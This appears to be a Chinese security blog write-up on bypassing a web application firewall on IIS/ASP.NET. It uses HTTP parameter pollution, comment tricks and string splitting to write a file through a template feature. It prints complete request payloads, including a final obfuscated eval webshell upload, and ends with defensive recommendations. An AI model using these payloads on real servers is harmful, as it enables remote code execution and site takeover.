记一次iis+aspx环境下利用http参数污染绕过waf
字数 858 2025-08-25 22:58:40

IIS+ASPX环境下利用HTTP参数污染绕过WAF技术分析

环境介绍

  • 服务器环境:Microsoft-IIS/10.0
  • 框架版本:X-AspNet-Version: 4.0
  • WAF:某不知名WAF

漏洞背景

在新建模板功能处,可以直接写入内容到文件,但写入正常的ASPX语句会被WAF拦截,包括简单的输出语句。

初始测试

尝试了多种绕过方法均失败:

  • 各种常见编码
  • chunked编码
  • 其他常规绕过技术

HTTP参数污染(HPP)发现

通过测试发现,当使用两个同名参数(如两个code参数)时,可以绕过WAF检测:

code=value1&code=value2

生成的文件内容会包含一个逗号分隔的值:

value1,value2

基本绕过技术

  1. 拆分ASPX标记:发现直接使用<% %>会被拦截,但拆分后可以绕过
  2. 利用注释:ASPX支持//注释方式
  3. 结合换行符:使用%0a换行避免被注释

示例:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

生成的文件内容:

<%@Page Language="C#"%><%//,
Response.Write("hello,world"); %>

完整利用链构建

当尝试更复杂的payload时,发现WAF还过滤了:

  • Request等关键词
  • eval(xxx)形式的调用(但单独的eval()可以通过)

绕过技术组合:

  1. 字符串拼接:将敏感关键词拆分

    "Req"+"uest"
    "ev"+"al"
    
  2. 特殊注释语法:参考ASPX/Jscript注释特性

    eval/*-/*-*/(a/*,*/)
    
  3. 结合HPP:将payload拆分到多个参数中

最终利用Payload

上传菜刀一句话的完整payload:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

生成的文件内容:

<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item[\"c"+"o\"],"+"\"uns"+"afe\");"; eval/*-/*-*/(a/*,*/);%>

技术要点总结

  1. HTTP参数污染:利用IIS/ASPX对同名参数的处理特性
  2. 代码拆分:将敏感代码分散到不同参数中
  3. 注释与换行:利用注释特性避免语法错误
  4. 字符串拼接:绕过关键词检测
  5. 特殊注释语法/*-/*-*/形式的注释在ASPX中有效

防御建议

  1. 规范化参数处理,只接受最后一个同名参数
  2. 对上传内容进行多层级语法分析
  3. 实现更严格的代码片段检测
  4. 过滤特殊注释模式
  5. 监控异常的参数组合

扩展思考

此技术可应用于其他存在类似参数处理特性的环境,不同WAF的实现差异可能导致类似的绕过方式有效。防御方需要从参数处理、内容分析和行为检测等多维度构建防护体系。

IIS+ASPX环境下利用HTTP参数污染绕过WAF技术分析 环境介绍 服务器环境:Microsoft-IIS/10.0 框架版本:X-AspNet-Version: 4.0 WAF:某不知名WAF 漏洞背景 在新建模板功能处,可以直接写入内容到文件,但写入正常的ASPX语句会被WAF拦截,包括简单的输出语句。 初始测试 尝试了多种绕过方法均失败: 各种常见编码 chunked编码 其他常规绕过技术 HTTP参数污染(HPP)发现 通过测试发现,当使用两个同名参数(如两个 code 参数)时,可以绕过WAF检测: 生成的文件内容会包含一个逗号分隔的值: 基本绕过技术 拆分ASPX标记 :发现直接使用 <% %> 会被拦截,但拆分后可以绕过 利用注释 :ASPX支持 // 注释方式 结合换行符 :使用 %0a 换行避免被注释 示例: 生成的文件内容: 完整利用链构建 当尝试更复杂的payload时,发现WAF还过滤了: Request 等关键词 eval(xxx) 形式的调用(但单独的 eval() 可以通过) 绕过技术组合: 字符串拼接 :将敏感关键词拆分 特殊注释语法 :参考ASPX/Jscript注释特性 结合HPP :将payload拆分到多个参数中 最终利用Payload 上传菜刀一句话的完整payload: 生成的文件内容: 技术要点总结 HTTP参数污染 :利用IIS/ASPX对同名参数的处理特性 代码拆分 :将敏感代码分散到不同参数中 注释与换行 :利用注释特性避免语法错误 字符串拼接 :绕过关键词检测 特殊注释语法 : /*-/*-*/ 形式的注释在ASPX中有效 防御建议 规范化参数处理,只接受最后一个同名参数 对上传内容进行多层级语法分析 实现更严格的代码片段检测 过滤特殊注释模式 监控异常的参数组合 扩展思考 此技术可应用于其他存在类似参数处理特性的环境,不同WAF的实现差异可能导致类似的绕过方式有效。防御方需要从参数处理、内容分析和行为检测等多维度构建防护体系。